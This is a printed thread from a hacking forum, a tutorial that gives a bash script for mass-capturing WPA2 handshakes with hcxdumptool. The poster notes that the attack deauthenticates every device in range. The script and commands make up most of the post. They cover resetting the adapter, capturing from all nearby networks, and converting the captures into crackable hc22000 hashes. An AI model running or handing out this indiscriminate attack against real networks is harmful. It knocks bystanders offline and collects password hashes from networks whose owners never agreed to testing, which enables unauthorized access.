The Brotherhood {Tutorial} Grabbing Mass WPA2 Handshakes Using hcxdumptool

[The Brotherhood] {Tutorial} Grabbing Mass WPA2 Handshakes Using hcxdumptool - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Wifi 5G WPA WEP Bluetooth Wireless Hacking (https://hackforums.net/forumdisplay.php?fid=104)
+---- Thread: [The Brotherhood] {Tutorial} Grabbing Mass WPA2 Handshakes Using hcxdumptool (/showthread.php?tid=6328347)

{Tutorial} Grabbing Mass WPA2 Handshakes Using hcxdumptool - Pr0m3th3us - Oct 13, 2026

Grabbing Mass WPA2 Handshakes Using hcxdumptool

After trying pretty much every tool and method out there (aircrack-ng (suite), bettercap, wifite, etc.), this hcxdumptool script has been the most consistent for me. I am using an Alfa AWUS036AXML adapter with 2 Alfa MPA-M25 antennas, but the original antennas work fine also. This is a very aggressive attack so it will deauth all devices in range including your own while it is running. It literally attacks EVERYTHING.

Prerequisites
Linux, tested on Debian
hcxdumptool installed

Code 
sudo apt install hcxdumptool

A WiFi adapter that supports monitor mode and packet sniffing, im using an Alfa AWUS036AXML

Make sure you check your NIC's name given by the OS. Mine was "wlx00c0cab72e58" so your going to have to find that in the script and change it to yours and your directories accordingly. You can see your NIC's name with this commands

Code 
ip link show

Also your drivers will prob be different so make sure you go over those and change it. To check your driver for your NIC use this command.

Code 
ethtool -i wlx00c0cab72e58

The Script

Code 
#!/bin/bash

IFACE="wlx00c0cab72e58"

echo "[+] Resetting WiFi adapter..."

sudo pkill hcxdumptool 2>/dev/null

sudo pkill wpa_supplicant 2>/dev/null

sudo ip link set $IFACE down

echo "[+] Reloading mt7921u driver..."

sudo modprobe -r mt7921u

sleep 5

sudo modprobe mt7921u

sleep 8

echo "[+] Clearing rfkill..."

sudo rfkill unblock all

sleep 1

CAPTURE="capture_$(date +%Y%m%d_%H%M%S).pcapng"

echo

echo "[+] Starting hcxdumptool"

echo "[+] Saving to: $CAPTURE"

echo

sudo hcxdumptool \

-i $IFACE \

-w $CAPTURE \

--rds=1 \

-F

Check to make sure its hoping channels and not stuck on 1 channel.

Code 
watch -n 1 'iw dev wlx00c0cab72e58 info | grep channel'

Converting the Capture

After it has run as long as you want we need to convert the capture file to a .txt file so we can read all the juicy info for each network.

Code 
# Extract valid handshakes into the modern .hc22000 format

hcxpcapngtool -o hashes.hc22000 capture.pcapng

# View a clean list of the network names you caught

hcxhashtool -i hashes.hc22000 --info=stdout